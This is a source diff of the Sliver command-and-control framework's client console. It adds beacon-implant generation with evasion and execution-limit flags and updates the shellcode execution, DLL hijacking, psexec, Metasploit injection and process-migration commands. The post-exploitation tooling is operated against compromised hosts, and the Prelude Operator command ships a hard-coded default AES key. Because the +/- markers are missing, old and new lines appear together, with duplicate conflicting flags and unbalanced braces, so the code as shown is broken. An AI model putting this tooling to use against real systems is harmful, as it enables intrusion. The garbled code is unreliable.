f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("H", "http", "", "http(s) connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -793,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -803,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -816,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
generateCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Generate a beacon binary",
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.GenerateBeaconCmd(ctx, con)
con.Println()
return nil
},
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
@@ -935,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1013,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(implantBuildsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ListCanariesStr,
Name: consts.CanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
@@ -1180,6 +1371,8 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
},
Args: func(a *grumble.Args) {
a.String("local-path", "local path to the file to upload")
@@ -1528,20 +1721,54 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Extensions ] ---------------------------------------------
// [ Beacons ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadExtensionStr,
Help: "Load a sliver extension",
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
beaconsCmd := &grumble.Command{
Name: consts.BeaconsStr,
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadExtensionCmd(ctx, con)
beacons.BeaconsCmd(ctx, con)
con.Println()
return nil
},
}
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a beacon",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsRmCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
macros.LoadMacroCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
a.String("dir-path", "path to the macro directory")
},
HelpGroup: consts.GenericHelpGroup,
})
@@ -2115,6 +2342,70 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(lootCmd)
// [ Hosts ] --------------------------------------------------------------
hostsCmd := &grumble.Command{
Name: consts.HostsStr,
Help: "Manage the database of hosts",
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
hostsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a host from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
iocCmd := &grumble.Command{
Name: consts.IOCStr,
Help: "Manage tracked IOCs on a given host",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
iocCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Delete IOCs from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
hostsCmd.AddCommand(iocCmd)
con.App.AddCommand(hostsCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
@@ -2228,4 +2519,75 @@ func BindCommands(con *console.SliverConsoleClient) {
},
}
con.App.AddCommand(getprivsCmd)
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+4 -4
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+26 -4
View File
@@ -22,28 +22,50 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+24 -3
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+25 -5
View File
@@ -22,14 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
+5 -5
View File
@@ -37,7 +37,7 @@ import (
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
+29 -9
View File
@@ -28,7 +28,7 @@ import (
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -36,38 +36,58 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+6 -5
View File
@@ -26,6 +26,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,7 +37,7 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -51,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -15,7 +15,7 @@ import (
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
+2 -2
View File
@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+60 -2
View File
@@ -1,4 +1,62 @@
Extensions
===========
====
Wraps external DLLs/tool in Sliver console commands.
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+428 -242
View File
@@ -1,26 +1,11 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
